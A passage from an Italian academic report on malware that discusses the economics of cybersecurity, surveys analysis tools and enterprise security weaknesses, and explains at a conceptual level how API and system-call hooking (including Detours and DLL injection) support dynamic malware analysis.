state segnalazioni di persistenti agenti stranieri penetrati in infrastrutture critiche, di
computer compromessi per facilitare lo spionaggio industriale, e hacker senza volto
che svuotano migliaia di conti bancari. Inoltre, la sicurezza delle informazioni è or-
mai sempre più vista come una questione di sicurezza nazionale. Immaginare gli sce-
nari peggiori può essere utile per concentrare la mente di coloro preposti alle deci-
sioni e stimolarli all' azione.
Tuttavia, ci sono aspetti negativi nel concentrarsi sulle minacce più stravagan-
ti perchè questo potrebbe dare la falsa impressione che la situazione sia così terribile
che solo un radicale intervento potrebbe aiutare. Le quattro minacce più pressanti
per la sicurezza informatica in questo momento sono: il furto di identità on-line, lo
spionaggio informatico, la protezione delle infrastrutture critiche, e le botnet. [B-32]
L'economia mette le sfde della sicurezza informatica in una prospettiva mi-

gliore di quanto lo faccia un metodo puramente tecnico . I sistemi spesso falliscono
perché le organizzazioni che li difendono non sopportano tutti i costi del fallimento.
Al fne di risolvere i problemi della crescente vulnerabilità e l'aumento della crimina-
lità, la politica e la legislazione devono coerentemente attribuire responsabilità ed ob-
blighi in modo che le parti siano in grado di risolvere i problemi ed avere un incenti-
vo a farlo.
Gli studi in materia delineano le varie sfde economiche che affiggono la sicu-
rezza informatica : incentivi disallineati, asimmetrie informative e esternalità .
6.2 Barriere economiche per migliorare la Cybersecurity

Ognuna delle minacce alla sicurezza informatica possiedono caratteristiche
tecniche distinte, le parti interessate e i vincoli legali. Tuttavia, rimangono alcuni
86
6. Aspetti Economici della Sicurezza
punti in comune, in particolare nelle barriere economiche che inibiscono i livelli otti-
mali di investimenti in sicurezza.
6.2.1 Incentivi disallineati

I sistemi informativi sono inclini a fallire quando la persona o l'impresa re-
sponsabile per la protezione del sistema, non è quella che soffre quando subisce le
conseguenze del fallimento. Purtroppo, in molte circostanze I rischi online sono allo-
cati male. Ad esempio, i sistemi di cartelle cliniche sono acquistati dai direttori degli
ospedali e compagnie di assicurazione, i cui interessi in conto gestione, controllo dei
costi e nella ricerca non sono ben allineate con gli interessi dei pazienti in privacy. So-
cietà elettriche hanno realizzato notevoli incrementi di effcienza aggiornando i pro-
pri sistemi di controllo per l'esecuzione sulla stessa infrastruttura IP come le loro reti
informatiche. Sfortunatamente, questi cambiamenti nell'architettura lasciano i sistemi
più soggetti a guasti e attacchi, ed è la società che soffre di più nel caso di interruzio-
ne.
Le Banche incoraggiano i consumatori e le imprese di banca online, perché ri-

ducono massicciamente I costi operativi del ramo, anche se le interfacce non sono si-
cure e vengono regolarmente sfruttate da malintenzionati. Come sottolineato da [B-1],
il disallineamento degli incentivi tra i responsabili per la sicurezza e coloro che bene-
fciano di protezione sono all'ordine del giorno nei sistemi IT. Di conseguenza, qual-
siasi analisi della sicurezza informatica dovrebbe iniziare con l'analisi degli incentivi
delle parti interessate.
Esiste una naturale tensione tra effcienza e resilienza nella progettazione di si-
stemi informatici. Questo è meglio esemplifcato dalla spinta negli ultimi dieci anni
verso la 'convergenza' nella rete. Questo vale per molti sistemi di infrastrutture cri-
tiche utilizzate per essere operative su reti distinte con protocolli incompatibili – come
il protocollo e le attrezzature SS7 per la gestione del sistema telefonico, i protocolli
SCADA per il controllo le reti elettriche, e così via. E 'molto più economico formare e
impiegare personale la cui esperienza è in TCP / IP, ed eseguire molte applicazioni
disparate su un'infrastruttura comune come Internet.
Il rovescio della medaglia, però, è che il continuo utilizzo di Internet è ormai

diventato assolutamente essenziale per ognuno di questi settori in precedenza non
collegati, e il fallimento in un settore qualunque può avere ricadute in molti settori.
87
Tuttavia, la decisione di una singola società di ridurre i costi del funzionamento del
suo IT non tiene conto di un tale aumento della vulnerabilità a lungo termine. Conci-
liare gli incentivi a breve termine per ridurre i costi operativi con interesse a lungo
termine nella riduzione della vulnerabilità è diffcile.
La Sicurezza perfetta è impossibile, ma anche se lo fosse, non sarebbe auspi-

cabile. Il trade-off tra sicurezza e l'effcienza implica anche che esiste un livello otti-
male di insicurezza, dove i benefci del funzionamento effciente superano eventuali
riduzioni di rischio provocati da misure di sicurezza supplementari. Ad esempio, i
consumatori benefciano notevolmente dalla effcienza di online banking. Il rischio di
frode potrebbe essere ridotto a niente se i consumatori semplicemente sospendessero
il servizio online banking. Tuttavia, la società in realtà avrebbe un peggioramento a
causa del costo aggiuntivo nel mantenere un servizio bancario off-line che non com-
penserebbe le perdite totali dovute a frodi del servizio on-line.
Quando sorgono incentivi disallineati, la parte che sceglie il compromesso

tra sicurezza ed effcienza non è quella che perde quando si verifcano gli attacchi.
Questo porta naturalmente a scelte non ottimali su dove fare il trade-off. Purtroppo,
un tale disallineamento è inevitabile in molte decisioni di sicurezza delle informazio-
ni.
6.2.2 Informazioni asimmetriche

Molte industrie segnalano un diluvio di dati. Alcuni addirittura si lamentano
di essere sopraffatti. Tuttavia, nello spazio di sicurezza vi è una carenza di dati rile-
vanti relativi agli investimenti necessari per guidare la sicurezza.
Il costo del Cybercrime è probabilmente sovrastimato dai report uffciali, ma

il fatto è che non sappiamo il vero costo di tale criminalità, perché le informazioni
utili sono tenute segrete. Certo, non potremo mai ottenere l'accesso ai conti bancari di
coloro che hanno fatto le truffe. Ma noi sappiamo che la maggior parte delle entrate
che generano criminalità informatica sono di natura fnanziaria, e le banche non
stanno rivelando quanto stanno perdendo dalle frodi online. Vi è un incentivo a non
segnalare gli incidenti su tutta la linea. Le banche non vogliono rivelare perdite per
frode per paura di spaventare i clienti della banca online; le imprese non vogliono
collaborare con la polizia sugli incidenti di cyber-spionaggio perché la loro reputa-
zione (e il loro prezzo delle azioni), possono subire dei danni; gli operatori delle in-
88
frastrutture critiche non vogliono rivelare informazioni sulle interruzioni causate da

attacchi dannosi per paura di richiama l'attenzione sulle vulnerabilità sistemiche. La
reticenza a condividere le informazioni viene neutralizzata solo da un eccesso di en-
tusiasmo di molti nel settore della sicurezza IT nella scoperta e mitigazione delle mi-
nacce. La combinazione di segretezza e di FUD (fear, uncertainty and doubt) (paura,
incertezza e dubbio) però è pericolosa.
Per capire perché, si può utilizzare l'esempio di come funziona il mercato delle
auto usate (americano) utilizzato da George Akerlof che vinse un premio Nobel per la
descrizione di come i mercati con informazioni asimmetriche, possono fallire. Akerlof
descrive come l'interazione fra una qualità eterogenea dei prodotti offerti e un'asim-
metria informativa tra gli attori coinvolti conduca alla scomparsa di un mercato, le cui
garanzie non sono defnite.
Nel modello descritto, presupposto che la qualità dei prodotti non possa esse-
re valutata dall'acquirente (a causa dell'asimmetria informativa), il venditore è incen-
tivato a proporre beni di bassa qualità spacciandoli come di qualità elevata. L'acqui-
rente, d'altro canto, tiene in considerazione questo comportamento del venditore e
stabilisce che l'effettiva qualità del bene proposto resti sconosciuta. Sarà valutata solo
la qualità media del bene. Ciò sta a signifcare che tutti quei prodotti il cui livello
qualitativo è sopra la media saranno esclusi dal mercato. Questo comportamento si ri-
pete fnché non si raggiunge un equilibrio del non scambio. Nel 2001 Akerlof asserì
che anche il mercato del software sicuro può essere paragonato al mercato delle auto
usate.
Un effetto simile è innescato dal rifuto di divulgare i dati sulle perdite dovute
a incidenti di sicurezza. La mancanza di dati affdabili sui costi sulla mancata infor-
mazione sulla insicurezza rendono diffcile gestire il rischio. L' informazione inaffda-
bile assume molte forme, dai venditori di prodotti per la sicurezza che sopravvaluta-
no le perdite dovute al cyber-crimine ai ripetuti avvertimenti di un Armageddon di-
gitale (Apocalisse) causato dallo sfruttamento di vulnerabilità del sistema di controllo
dei processi, mentre vengono soppressi della discussione gli attacchi realizzati o ten-
tati.
L'esistenza di una asimmetria informativa non signifca necessariamente che

la società non sta investendo abbastanza in sicurezza, né che è stato stanziato troppo
89
denaro . Piuttosto, signifca che probabilmente non si sta investendo nelle difese
giuste nella proporzione ideale.
I consumatori poco informati e le imprese sono inclini a investire in soluzioni

non corrette per quel problema (soluzioni palliative in inglese snake-oil) se non han-
no una comprensione accurata delle minacce e delle difese. Nel frattempo, le aziende
di sicurezza potrebbero non essere motivate a portare nuove tecnologie sul mercato
che proteggano contro le minacce più consistenti.
Se non viene affrontata presto la mancanza di informazioni attendibili , andrà

a fnire che coloro che prendono decisioni nell'industria e nel governo si rifuteranno
di attuare le protezioni necessarie perché i dati che chiariscono l'entità e la natura
delle più signifcative minacce semplicemente non esisteranno.
6.2.3 Esternalità
Il settore IT è caratterizzata da diversi tipi di esternalità, dove azioni indivi-

duali hanno effetti collaterali su altri. Ne presentiamo di seguito tre tipi: esternalità di
rete, esternalità di insicurezza e di sicurezza interdipendenti.
L'industria del software oggi tende ad operare attraverso imprese in posizio-

ne dominante, in gran parte grazie ai benefci dell' interoperabilità. Gli economisti
chiamano questo tipo una esternalità di rete: una rete più ampia, o una comunità di
utenti di un software, è più preziosa per ciascuno dei suoi membri. La scelta di un si -
stema operativo dipende non solo dalle sue caratteristiche e prestazioni, ma anche
dal numero di altre persone che hanno già fatto la stessa scelta. Questo spiega l'asce-
sa e la posizione dominante di Windows nei sistemi operativi, così come il dominio
di iTunes nella vendita di musica on-line e di Facebook nelle reti sociali online. Inol-
tre, aiuta a spiegare il modello tipico delle falle di sicurezza. In qualità di fornitore
della piattaforma che si è creato la posizione dominante sul mercato, deve fare ap-
pello a fornitori di prodotti complementari, nonché ai propri clienti diretti . E' più dif-
fcile sviluppare applicazioni per un sistema operativo sicuro, per cui la sicurezza
non viene affrontata fno a quando non è stata raggiunta la posizione dominante sul
mercato. Allo stesso modo, le opportunità che rendono possibile essere primi sul
mercato spiegano perché software insicuro viene frettolosamente messo sul mercato,
e perché il software oggi è rilasciato in perpetuo 'beta', o in modalità test.
90
Esternalità di rete aiutano anche a spiegare perché molti degli aggiornamenti

sicuri a protocolli Internet, come DNSSEC e S-BGP, non sono stati adottati ampia-
mente. Le prestazioni di sicurezza di tali protocolli non sono realizzate fno a quando
molti degli utenti non hanno effettuato l' aggiornamento, cosa che ha scoraggiato l'a-
dozione anticipata. SSH e IPSec, al contrario, hanno avuto molto più successo perché
forniscono immediati benefci interni a coloro che li adottano.
L' insicurezza genera esternalità negative. Un computer infetto che è stato in-
corporato in una botnet può inquinare Internet, danneggiare gli altri più che l'host
stesso. Una botnet può inviare spam, essere host di truffe phishing , lanciare attacchi
denial-of-service, e fornire una copertura anonima agli aggressori. In ogni caso, l'obiet-
tivo dell'attività maligna è una persona diversa dal computer host. Le perdite della
società a causa di controllo dei guasti generali dei sistemi, come ad esempio interru -
zioni di corrente prolungate, superano la perdita fnanziaria per un programma di
utilità individuale in termini di mancati introiti. Poiché i rischi privati che affrontano
le utenze sono inferiori ai rischi sociali, si avrà un sotto investimento nelle protezioni
contro i rischi sociali. Infne, dobbiamo anche prendere in considerazione le esternali-
tà positive di utilizzo di Internet che vanno sperperate quando le persone hanno pau-
ra di utilizzare Internet a causa della sua precarietà.
Un ultimo tipo di esternalità rilevante per la sicurezza informatica è la sicurez-

za interdipendente. [B-58] Gli investimenti di sicurezza possono essere complementi
strategici: Chi prende misure di protezione crea esternalità positive e così facendo
può evitare che altri a loro volta possano investire in sicurezza. Questo può provo -
care 'free-riding' (in termini economici sfruttare quanto effettuato o pagato da altri
operatori o comunque a carico della loro responsabilità) . Il 'free-riding' è probabile
ogni volta che la sicurezza dipende dall'anello più debole della catena: le imprese non
si preoccupano di investire nella sicurezza quando sanno che gli altri elementi in gio-
co non investiranno (pur essendo responsabili), lasciandoli vulnerabili in ogni caso
[B-59].
91
7 Considerazioni
I criminali informatici continuano a mantenere il loro vantaggio nella corsa

malware. Così come la tecnologia della sicurezza avanza nel tentativo di rilevare e
proteggere contro il malware, così fa anche il malware stesso. Gli aggressori sono dedi-
cati, persistente e intelligenti. I criminali seguono il proprio ciclo di vita di sviluppo
del software (SDLC) e provano e riprovano le loro minacce contro le soluzioni anti-
virus per assicurarsi di eludere il rilevamento. Essi incorporano nel loro codice nomi
utente, password e indirizzi di rete per i loro obiettivi specifci . E fnché potrà essere
fatto denaro con le loro conquiste, essi continueranno.
Come abbiamo visto i metodi , le strategie e gli strumenti per affrontare lo

studio del malware e cercare di sconfggerlo sono tanti e comportano notevole com-
petenza e continui adattamenti alle nuove sfde ; sono predisposti ed applicati da
esperti agguerriti quanto gli attaccanti.
Ovviamente c'è investimento economico da parte delle società che gestiscono

il mercato mosso dalle nuove tecnologie, come le case produttrici di prodotti elettro-
nici e di sistemi operativi, nonchè delle software house antivirus. Hanno interesse ad
affermare la loro competenza e capacità di proteggere i sistemi per prevalere sul
mercato. L'interesse a vincere la battaglia sul malware o quanto meno ad annullarne
gli effetti è condiviso da molti, dagli studiosi dei settori coinvolti , dai gestori di Enti
che hanno a disposizione dati informativi di livello critico e che utilizzano internet,
dalle società che sfruttano la rete per i loro servizi, dai comuni individui utilizzatori
dei servizi informatici.
Abbiamo verifcato che le principali software house di antivirus hanno inglo-

bato nel bagaglio di analisi e ricerca del loro staff, i principali strumenti messi a pun -
to per l'analisi dinamica ed automatica (sez.4.2) Ad esempio: AVG [38] Norman-
Sandbox , ThreadTrack [39] CWSandbox, LastLine [40] Anubis, JoeSandbox è una
tecnologia utilizzata da JoeSecurity [41].
I realizzatori di Ether mantengono [B-60] una pagina web per l'upload di ese-
cutivi da analizzare. La piattaforma BitBlaze [42], mantenuta sul sito dell'Università
92
7. Considerazioni
di Berkley (dalla prof.ssa Dawn Song), ha come scopo il progetto e sviluppo di una
potente piattaforma di analisi del binario al fne di :(1) analizzare e sviluppare la pro-
tezione COTS (common off-the-shelf) e meccanismi di diagnostica e (2) analizzare,
capire, e sviluppare difese contro il codice dannoso, per questi fni rende disponibili
molti strumenti di analisi tra cui : HookFinder, Panorama, Renovo.
Esistoni siti monitor che tracciano i siti malevoli (ad esempio per le botnet abu-
se.ch [26] ed un elenco di indirizzi sul reddit.com [43]); strategie di rilevazione (ad
esempio quelle messe in opera da Honeynet [23][24] sulla rete);
molti studiosi che attuano programmi di rilevamento e analisi come Sultan Bandr Al-
muntairi[B-81], Tao Wang e Yu Shun-Zheng [B-82] , Chris Nell [7], Gandotra [4], ...
tutti quelli citati nella bibliografa e nei riferimenti e molti altri .
Esistono pubblicazioni realizzate da vari Enti che hanno nello loro fnalità il
compito di divulgare norme di autoprotezione e di good practise. Ad esempio : le
pubblicazioni dal sito del Sans Information Security [34], della Symantec [22], FBI Cy-
becrime[35],...; le pubblicazione dell'Enisa, l'agenzia Europea per la Sicurezza della
rete [32] ( ad esempio quella sulle “Botnets: Rilevazione, misurazione, disinfezione e
difesa”)...; i siti ed i blog delle principali software house antivirus[1] [6] [], le docu-
mentazioni proposte sui siti nazionali come “La Polizia Postale Italiana” [36] ,“Cyber
Security Assessment Netherlands csan 2015 “[33], Polska Cert [27], ecc...
Molto interessanti sono gli studi effettuati dagli esperti in Economia della Si-
curezza [B-31] [B-32] che mettono in risalto le barriere economiche alla Cybersecurity
(sez.6). Ci è sembrato importante sottolineare come si sia evidenziata una tensione
tra effcienza e resilienza nella progettazione di sistemi informatici meglio esemplif-
cata dalla spinta negli ultimi dieci anni verso la 'convergenza' nella rete. E 'molto più
economico formare e impiegare personale la cui esperienza è in TCP / IP, ed eseguire
molte applicazioni disparate su un'infrastrutura comune come Internet.
Il continuo utilizzo di Internet è però ormai diventato assolutamente essenzia-

le per ognuno di questi settori in precedenza non collegati, e il fallimento in un setto-
re qualunque può avere ricadute su molti altri settori. Tuttavia, la decisione di una
singola società di ridurre i costi del funzionamento del suo IT non tiene conto di un
tale aumento della vulnerabilità a lungo termine. Anche in questo settore è l'utilità
economica che muove le decisioni , perdendo di di vista l'interesse di altri coinvolti
dalle scelte fatte da uno solo, ma ad alto livello.
93
8 Conclusioni
Vista la complessità del tema affrontato abbiamo cercato di sintetizzare alcu-

ni punti focali messi in evidenza nella rassegna e da casi di studio inseriti tra gli
esempi .
Possiamo dire che gli obiettivi bersaglio del malware sono tutti quei dati
che possono dare un ritorno di rilievo economico, ultimamente oltre che i dati colle-
gati al recupero immediato di soldi (online-banking, transazioni Pos) , anche dati ri-
servati e confdenziali appartenenti a vari ambiti: politico, strategico, legale, di
marketing.
Di contro l'importanza che rivestono questi dati non sempre corrisponde nel
trattamento ad un livello di sicurezza adeguato. La conferma di questo può essere
letta nel resoconto realizzato da Oisterman [B-33] sui punti deboli in materia di sicu-
rezza negli Enti/Aziende (ricerca in ambiente americano effettuato per conto della
società Trustwave) elencati in ordine decrescente di importanza:
Problema
Malware being introduced from employees’ web surfing
Malware being introduced from employees’ personal webmail
Phishing attacks
Data loss from employees sending confidential info via email
Data loss from employees sending confidential info via cloud- based tools like Dropbox
Malware being introduced from employees’ home computers
Virus/worm/malware infections
Malware being introduced from employees’ use of Web 2.0 apps
Breaches of sensitive internal data
Breaches of sensitive customer data
The lag between new virus outbreaks and when our AV vendor issues an update to deal with these
outbreaks
Mobile malware
Direct hacker attacks
Users working at home creating security problems
Data loss from employees sending confidential info via social media
94
8. Conclusioni
Spam – the amount that your organization receives
Spam - your IP address getting blacklisted due to outbound mail attack
Time spent by email administrators dealing with malware
Denial-of-service attacks
Employees viewing inappropriate content on the web
Time spent by email administrators dealing with spam
Spam – the amount of false positives caused by your anti-spam system
Time spent by employees dealing with spam
Ne deriva che il punto debole di ingresso del malware è legato a comporta-

menti inappropriati e disinvolti nella gestione dell'accesso ai servizi di internet da
parte dei dipendenti (ed utenti in genere) ed alla carenza di preparazione degli stessi.
Da più parti si auspica un migliore livello di formazione degli utenti per quan-
to riguarda i pericoli di Internet in quanto sarebbe effcace nel prevenire la maggior
parte dei tipi di attacco sul lato client, D'altra parte, si potrebbe pensare che nessuna
quantità di formazione fornirà una protezione per quelle persone che non sono di-
sposte o in grado di tenere il passo con le mutevoli tendenze e pratiche nel settore in-
formatico. Ne segue che queste persone sono esattamente gli obiettivi ideali per i tipi
di frode in effetti, la maggiore attitudine tra i clienti concentra gli attacchi contro colo-
ro che sono meno in grado di proteggersi contro di loro. La comprensione generale
deve e può migliorare e aiuterà, ma non sarà una soluzione.
Gli attacchi su internet in genere indeboliscono la fducia che un utente può

avere nell'integrità del suo sistema, ma indebolisce anche la fducia che il server può
avere nell' autenticità dei messaggi ricevuti da clienti. Questo indebolimento a due
vie è un ostacolo che dovrà essere superato in futuro, dal momento che la mancanza
di fducia reciproca è uno dei principali ostacoli alla crescita nel utilità di Internet.
Leggendo le analisi di molti esperti fatte su attacchi malware perpetrati nei

modi più vari ed estrosi, emerge tra tutte, la tipologia di attacco più sottile e più dut -
tile ed adattabile cioè l'ingegneria sociale[B-29].
Se guardiamo gli attacchi documentati, dai primi virus agli albori dell'informa-
tica a quelli più recenti e devastanti, ritroviamo sempre in qualche passaggio, soprat-
tutto iniziale, come vettore di partenza, un metodo di ingegneria sociale.
95
Se i primi virus ottenevano l'accesso ai sistemi tramite lo scambio di foppy
disk contenenti fle infetti o un virus di boot (avvio), con l'avvento di internet come
abbiamo visto [ ] il veicolo preferenziale di infezione è invece oggi rappresentato da
tutte le possibilità di interscambio di dati offerte dalle rete.
Analizzando i resoconti resi pubblici da esperti analisti ci rendiamo conto di

come l'intervento di ingegneria sociale sia essenziale per gli attaccanti . Se guardia-
mo come viene utilizzato attraverso le analisi e rifessioni di chi ha studiato alcuni
tipi di attacchi ci troviamo davanti ad innumerevoli esempi. In questo lavoro ne ab-
biamo presentato alcuni : il Ransomware Torlocker , Trojan Worm Bot, Web Server che
diffondono il malware [Sez.10].
Si deve anche aggiungere come la debolezza della certifcazione viene messa

in evidenza in alcuni tipi di attacco, sia quello POS malware (esempio sez.10.10) che
MITB (trojan/bot) [sez. 5.1.1]. Nel tipo di attacco tramite web browser come quelli
MITB si deve dire che la certifcazione protegge solo il fusso di dati dopo che lascia
il browser dell'utente, e non ha alcun controllo su come tale browser visualizza qual-
siasi risposta dal server, infatti questi tipo di attacchi bypassano del tutto questa sicu-
rezza, dal momento che hanno accesso ai dati prima della cifratura, e hanno il con -
trollo su ciò che il browser mostra dopo che una risposta del server è stata cifrata.
Questo mina l'affdabilità della sicurezza perchè tutte le forme di sicurezza sono
ineffcaci contro di esso.
Al momento l'unica cosa di cui è garantito il funzionamento , notevole per la

sua semplicità è la conferma fuori banda OOB. Richiede quindi che Internet banking
(e qualunque altre forme di transazione su Internet si voglia proteggere) almeno par-
zialmente sia fuori da Internet, piuttosto che fare in modo di avere Internet al primo
posto. Sono auspicabili altre soluzioni ragionevoli in futuro ma non sembra disponi-
bili in questo momento. Naturalmente, se gli utenti del web non avessero infezioni
da malware, allora non ci sarebbe il problema, ma questo è improbabile che possa ac-
cadere.
96
8. Conclusioni
9 Approfondimenti Analisi Dinamica
9.1 Dettaglio Chiamate di Funzione
Application Programming Interface (API)

Funzioni che formano un insieme coerente di funzionalità, come ad esempio la
manipolazione di fle o comunicare in rete, sono spesso raggruppate in un Application
Programming Interface (API). I sistemi operativi sono soliti fornire molte API che pos-
sono essere utilizzate dalle applicazioni per eseguire le operazioni più comuni.
Queste API sono disponibili su diversi livelli di astrazione. L'accesso alla rete,
ad esempio, può essere fornito da una API che si concentra sul contenuto trasmesso
in pacchetti TCP, o da una API di livello inferiore che consente all'applicazione di
creare e scrivere direttamente i pacchetti su un socket . Sui sistemi operativi
Windows, il termine API di Windows si riferisce a un set di API che forniscono l'ac-
cesso a diverse categorie funzionali, come il networking, la sicurezza, i servizi di siste-
ma, e la gestione.
Chiamate di sistema
Il Software in esecuzione su sistemi di computer che eseguono commodity
(prodotti) di sistemi operativi off-the-shelf (pronto da usare) è solitamente diviso in
due parti principali. Mentre le applicazioni generali, quali word processor o program-
mi di manipolazione delle immagini vengono eseguiti in modalità utente, il sistema
operativo viene eseguito in modalità kernel. Solo il codice che è eseguito in modalità
kernel ha accesso diretto allo stato del sistema. Questa separazione impedisce ai pro-
cessi in modalità utente di interagire con il sistema e il loro ambiente direttamente.
Per esempio, non è possibile per un processo dello spazio-utente aprire o creare un
fle direttamente.
Invece, il sistema operativo fornisce una speciale ben defnita interfaccia API
per la chiamata di sistema. Utilizzando chiamate di sistema, un'applicazione in mo-
dalità utente può richiedere l'uso del sistema per eseguire un insieme limitato di com-
piti per suo conto. Così, per creare un fle, un'applicazione in modalità utente ha biso-
gno di invocare la chiamata di sistema specifca con indicazione del percorso, nome, e
97
metodo di accesso del fle. Una volta che la chiamata di sistema è invocata, il sistema
passa in modalità kernel (vale a dire che,viene eseguito codice privilegiato del siste-
ma operativo ).
A seguito della verifca che l'applicazione che si chiama ha diritti di accesso

suffcienti per l'azione desiderata, il sistema operativo svolge il compito per conto
delle applicazioni in modalità utente. Nel caso dell'esempio di creazione dei fle, il ri-
sultato della chiamata di sistema è un handle (aggancio) di fle, dove ogni ulteriore in-
terazione dell'applicazione in modalità utente riguardo a questo fle (ad esempio,
scrivere sul fle) verrà eseguita attraverso questo handle.
Oltre ad utilizzare le risorse in modo esauriente (vincolata dai limiti del siste-
ma operativo), di solito c'è poco che un campione di malware possa fare entro i limiti
del suo processo pertanto, il malware (proprio come ogni altra applicazione), che vie-
ne eseguita in user-space e ha bisogno di comunicare con il suo ambiente deve invoca-
re le rispettive chiamate di sistema. Dal momento che le chiamate di sistema sono l'u-
nica possibilità di un processo in modalità utente di accedere o interagire con il suo
ambiente, questa interfaccia è particolarmente interessante per l'analisi dinamica del
malware.
Tuttavia, ci sono campioni di malware noti che riescono a ottenere i privilegi in

modalità kernel. Questi casi non necessariamente utilizzano l'interfaccia di chiamata
di sistema e potrebbero eludere questo metodo di analisi.
API native di Windows nativo

Le API native di Windows [B-36] agiscono tra l' Interfaccia chiamata di siste-
ma e l'API di Windows. Mentre le API di Windows rimangono stabili per qualsiasi
versione del sistema operativo Windows, le API native non sono così limitate e pos-
sono cambiare con diversi livelli di Service Pack della stessa versione di Windows. Le
API native sono comunemente invocate da API di livello superiore, come le API
Window , per richiamare le chiamate di sistema ed effettuare qualsiasi pre o post-ela-
borazione necessaria per argomenti o risultati.
Applicazioni legittime di solito comunicano con il sistema operativo attraver-

so le API di Windows, ma codice dannoso potrebbe saltare questo livello ed intera-
gire con le API native direttamente per contrastare soluzioni di monitoraggio che ag-
ganciano solo le API di Windows. Questo avviene, naturalmente, con l'onere aggiun-
98
9. Approfondimenti Analisi Dinamica
tivo per l'autore del malware di progettare il malware in modo da coprire tutte le di-
verse versioni delle API Native. Poiché non esiste documentazione uffciale e comple-
ta delle API native, questo richiede grande conoscenza dall' interno di Windows.
Allo stesso modo, un autore di malware potrebbe decidere di saltare le API Native e
richiamare il sistema di chiamate direttamente dal malware. Mentre questo è possibi-
le, richiede una conoscenza più approfondita di un'interfaccia ancor meno documen-
tata.
I risultati della funzione di Hooking (aggancio)

L'Aggancio di funzioni API consente ad uno strumento di analisi di monitora-
re il comportamento di un programma sul livello di astrazione della rispettiva funzio-
ne. Mentre osservazioni semanticamente ricche possono essere fatte agganciando
funzioni API di Windows, una vista più dettagliata del stesso comportamento può es-
sere ottenuta controllando le API native.
Il fatto che applicazioni user-space abbiano bisogno di invocare chiamate di

sistema per interagire con il loro ambiente implica che queste interfacce meritino una
particolare attenzione. Questa restrizione vale solo per il malware in esecuzione in mo-
dalità utente . Il malware in esecuzione in modalità kernel può invocare direttamente
le funzioni desiderate senza passare attraverso l' interfaccia della chiamata di sistema.
Implementare la funzione di aggancio

A seconda della disponibilità del codice sorgente dei programmi , possono es-
sere applicati diversi metodi di approccio per agganciare le funzioni . Se il codice sor-
gente è disponibile, invocazioni per agganciare le funzioni possono essere inserite nel
codice sorgente in punti appropriati. In alternativa, un fag di compilazione (ad esem-
pio,[13] instrument-functions di GCC [free Software Foundation]) può essere utilizzata
per implementare l'aggancio.
La riscrittura del binario viene utilizzata se il programma in analisi è disponi-

bile solo in forma binaria. A tal fne, due metodi possono eseguire la necessaria anali -
si .
(1) Riscrivere la funzione monitorata in modo tale che, prima di eseguire il codice ori-
ginale, la funzione invochi l'hooking (aggancio).
(2) L'individuazione e la modifca di tutti i punti di chiamata (ad esempio, le istruzio-
ni di chiamata) che, al momento dell'esecuzione, richiamano la funzione di monito-
raggio per chiamare invece l'hook.
99
In entrambi i metodi, la funzione di hook ottiene il pieno accesso agli argomenti origi-
nali dello stack e può eseguire le fasi di analisi desiderate.
Inoltre, se la funzione è invocata attraverso un puntatore a funzione (ad esempio, le
funzioni di librerie condivise), questo valore può essere cambiato per puntare invece
alla funzione di hook .
Su sistemi operativi Windows la [14] 'libreria Detours' è disponibile per faci-

litare la funzione di chiamata di aggancio.
L'idea alla base Detours [B-22] è quella di applicare la funzione di riscrittura della
funzione bersaglio per implementare la funzione di chiamata di aggancio. Ciò viene
ottenuto reindirizzando il fusso di controllo dalla funzione di aggancio alla funzione
di analisi, che a sua volta potrebbe chiamare la funzione originale. La deviazione del
fusso di controllo è implementata sovrascrivendo le istruzioni iniziali della funzio-
ne originale con un salto incondizionato al codice in analisi. Le istruzioni sovrascrit-
te vengono sottoposte a backup e copiate su un funzione trampolino.
Questa funzione trampolino è costituita dalle istruzioni di backup, e un salto

incondizionato nella funzione originale dopo che le istruzioni sono sovrascritte. Una
volta che l'applicazione monitorata chiama la funzione agganciata, le nuove istruzio-
ni deviano il fusso di controllo verso il codice di analisi. Questo codice può eseguire
qualsiasi pre-elaborazione (ad esempio, sanifcazione di argomenti) e ha il pieno con-
trollo del fusso di controllo. Il codice analisi può quindi tornare subito al chiamante
o richiamare la funzione originaria chiamando il trampolino. Poiché la funzione ori-
ginale è chiamata dal codice di analisi, questo codice è in controllo, dopo che la fun-
zione ritorna e può quindi eseguire qualsiasi post-elaborazione necessaria.
Detours offre due metodi alternativi per applicare le modifche necessarie di

un programma:
(1) modifcare i fle binari prima che vengano caricati ed eseguiti, o (2) manipolare
l'immagine nella memoria di un binario già caricato.
La prima tecnica richiede sezioni aggiuntive per il fle binario mentre è sul di-
sco. Questo richiede la modifca della struttura del disco del fle per fare spazio ad
ulteriore codice. Modifcare un binario già in esecuzione si realizza attraverso l'inie-
zione DLL. In primo luogo, tutti i dati di payload (cioè funzioni di analisi) vengono
compilato in una DLL. Quindi, un nuovo thread viene creato nel binario in esecuzio-
ne che carica questa DLL. Al momento dell'inizializzazione della DLL, Detours ma-
nipola il binario come appena descritto (ad esempio, creando trampolini, sovrascri-
100
vendo le istruzioni iniziali della funzione target). Tecniche di debug possono anche
essere utilizzate per collegare in invocazioni di alcune funzioni. Punti di interruzione
possono essere inseriti sia sul punto di chiamata che sulla funzione da monitorare.
Quando un breakpoint viene raggiunto, il controllo è dato al debugger che ha pieno ac-
cesso alla memoria ed ai contenuti e lo stato della CPU del processo in debug. Così,
un debugger strumentato può essere utilizzato per eseguire l'analisi prevista.
Se disponibile, l'infrastruttura di aggancio fornita dal sistema operativo può

essere usata per monitorare le azioni di sistema. Il sistema operativo Windows, per
esempio, fornisce meccanismi per specifcare i messaggi e le funzioni hook corrispon-
denti. Ogni volta che un' applicazione riceve il messaggio specifcato (ad esempio, la
pressione di un tasto che si è verifcata sulla tastiera, o un pulsante del mouse che è
stato premuto), la funzione di hook viene eseguita. La sostituzione di librerie dinami-
che condivise può essere utile come altro mezzo per svolgere il monitoraggio di chia-
mata di funzione. Ai fni dell'analisi, le librerie originali possono essere rinominate e
rimpiazzate da librerie stub (radice) contenenti le funzioni hook. Queste stub possono
sia simulare il comportamento originale o chiamare la funzione originale nella libreria
rinominata. Questo metodo è in grado di cogliere appieno le interazioni di un pro-
gramma con una data API.
Tracciare la Post-elaborazione della funzione di chiamata

“Monitoring function calls results in a function call trace”. Questa traccia è costi-
tuita dalla successione di funzioni che sono state invocate dal programma in analisi,
insieme con gli argomenti passati.
Esistono diversi metodi che prendono queste tracce di chiamata di funzione

come input e astraggono in una rappresentazione semanticamente più ricca il com-
portamento del malware. [15] [B-11] convertono la funzione delle tracce di chiamata
in una rappresentazione grafca. Questa rappresentazione permette loro di confron-
tare il comportamento di software dannoso con il comportamento esibito da software
